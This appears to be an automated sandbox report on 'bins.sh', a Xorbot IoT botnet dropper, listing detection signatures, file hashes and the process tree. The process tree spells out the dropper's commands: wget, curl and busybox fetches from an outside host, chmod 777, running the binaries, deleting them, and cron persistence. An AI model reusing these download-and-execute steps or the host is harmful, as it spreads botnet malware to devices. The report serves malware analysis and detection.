Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/12/2024, 22:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f3f5e351ff7e5b1bc7781070020ef107

  • SHA1

    01ae69eb15db7129ef85916e10272be7e756674e

  • SHA256

    23c84c8a410c2e031504d3376a35a0d5efdd821459f3a5470da882353aca0bac

  • SHA512

    0cbf04902216dc429456978e465561164fb6fc8a16697995ccf5854d105d3c2a6fd857acc50be84477abec7668225bfe42f9fd5d86dc000cc321b412f0896f20

  • SSDEEP

    192:HBntLonnKRNhAMUEwtm26S6VQsRwFCgd6ntLunnKRN6oCEwtm2US6VQsOQZ:HBntjTUEwtm26S6VQsRQCgd6ntXCEwtM

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2056) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 33 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:743
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:746
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:748
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:767
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:773
        • /bin/chmod
          chmod 777 TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • File and Directory Permissions Modification
          PID:774
        • /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          ./TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Executes dropped EXE
          PID:775
        • /bin/rm
          rm TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
            PID:777
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:778
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:779
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:781
          • /bin/chmod
            chmod 777 gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • File and Directory Permissions Modification
            PID:782
          • /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            ./gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Executes dropped EXE
            PID:783
          • /bin/rm
            rm gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
              PID:785
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:786
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:795
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:807
            • /bin/chmod
              chmod 777 w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • File and Directory Permissions Modification
              PID:812
            • /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              ./w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:813
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:815
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:817
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:819
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:820
                  • /bin/rm
                    rm w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
                    2⤵
                      PID:832
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                      2⤵
                      • System Network Configuration Discovery
                      PID:838
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                      2⤵
                      • System Network Configuration Discovery
                      PID:924
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:927
                    • /bin/chmod
                      chmod 777 PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:945
                    • /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                      ./PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                      2⤵
                      • Executes dropped EXE
                      PID:946
                    • /bin/rm
                      rm PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                      2⤵
                        PID:948
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                        • System Network Configuration Discovery
                        PID:949
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                        • System Network Configuration Discovery
                        PID:950
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:952
                      • /bin/chmod
                        chmod 777 KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                        • File and Directory Permissions Modification
                        PID:953
                      • /tmp/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        ./KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                        • Executes dropped EXE
                        PID:954
                      • /bin/rm
                        rm KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                          PID:956
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                          • System Network Configuration Discovery
                          PID:957
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                          • System Network Configuration Discovery
                          PID:958
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:960
                        • /bin/chmod
                          chmod 777 LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                          • File and Directory Permissions Modification
                          PID:965
                        • /tmp/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          ./LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                          • Executes dropped EXE
                          PID:966
                        • /bin/rm
                          rm LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                          2⤵
                            PID:972
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • System Network Configuration Discovery
                            PID:973
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • System Network Configuration Discovery
                            PID:974
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:975
                          • /bin/chmod
                            chmod 777 VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • File and Directory Permissions Modification
                            PID:976
                          • /tmp/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            ./VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • Executes dropped EXE
                            • System Network Configuration Discovery
                            PID:977
                          • /bin/rm
                            rm VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                            2⤵
                            • System Network Configuration Discovery
                            PID:979
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                            2⤵
                            • System Network Configuration Discovery
                            PID:980
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                            2⤵
                            • System Network Configuration Discovery
                            PID:981
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:982
                          • /bin/chmod
                            chmod 777 hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                            2⤵
                            • File and Directory Permissions Modification
                            PID:993
                          • /tmp/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                            ./hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                            2⤵
                            • Executes dropped EXE
                            PID:999
                          • /bin/rm
                            rm hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                            2⤵
                              PID:1002
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/LNi1TQeGCfVARD7shrDh9LwoS9IONT0hzs
                              2⤵
                              • System Network Configuration Discovery
                              PID:1007
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/LNi1TQeGCfVARD7shrDh9LwoS9IONT0hzs
                              2⤵
                              • System Network Configuration Discovery
                              PID:1019
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/LNi1TQeGCfVARD7shrDh9LwoS9IONT0hzs
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:1021
                            • /bin/chmod
                              chmod 777 LNi1TQeGCfVARD7shrDh9LwoS9IONT0hzs
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1029
                            • /tmp/LNi1TQeGCfVARD7shrDh9LwoS9IONT0hzs
                              ./LNi1TQeGCfVARD7shrDh9LwoS9IONT0hzs
                              2⤵
                              • Executes dropped EXE
                              PID:1030
                            • /bin/rm
                              rm LNi1TQeGCfVARD7shrDh9LwoS9IONT0hzs
                              2⤵
                                PID:1032
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/RhnAPuOy8T3NBRrwQ8Wh4Z9NS4yFgmepl9
                                2⤵
                                • System Network Configuration Discovery
                                PID:1033
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/RhnAPuOy8T3NBRrwQ8Wh4Z9NS4yFgmepl9
                                2⤵
                                • System Network Configuration Discovery
                                PID:1037
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/RhnAPuOy8T3NBRrwQ8Wh4Z9NS4yFgmepl9
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1039
                              • /bin/chmod
                                chmod 777 RhnAPuOy8T3NBRrwQ8Wh4Z9NS4yFgmepl9
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1044
                              • /tmp/RhnAPuOy8T3NBRrwQ8Wh4Z9NS4yFgmepl9
                                ./RhnAPuOy8T3NBRrwQ8Wh4Z9NS4yFgmepl9
                                2⤵
                                • Executes dropped EXE
                                PID:1045
                              • /bin/rm
                                rm RhnAPuOy8T3NBRrwQ8Wh4Z9NS4yFgmepl9
                                2⤵
                                  PID:1046
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/0o7TnrPmWkNUqg3vgWY1vJIp57jlAik0BP
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:1047

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/LNi1TQeGCfVARD7shrDh9LwoS9IONT0hzs

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/RhnAPuOy8T3NBRrwQ8Wh4Z9NS4yFgmepl9

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /var/spool/cron/crontabs/tmp.Q21Npa

                                Filesize

                                210B

                                MD5

                                b38f2d104ad65cc7e1f2aa9ab15e592b

                                SHA1

                                2d397d595e83d144e92a5c36d0ebf6726d71c5f4

                                SHA256

                                69d68b31ed6f6a41fa4aec61024d7289c202fd13afbee194614bf57fea71a585

                                SHA512

                                8bd49380efd6ba3d4cfa569d5bf6faf46c485c5f16771992efbaa6c7c3f4a33f1d232e1068658bafebef3a9b1b8b3a97f48972c79e236a3c83b72aeac096aaba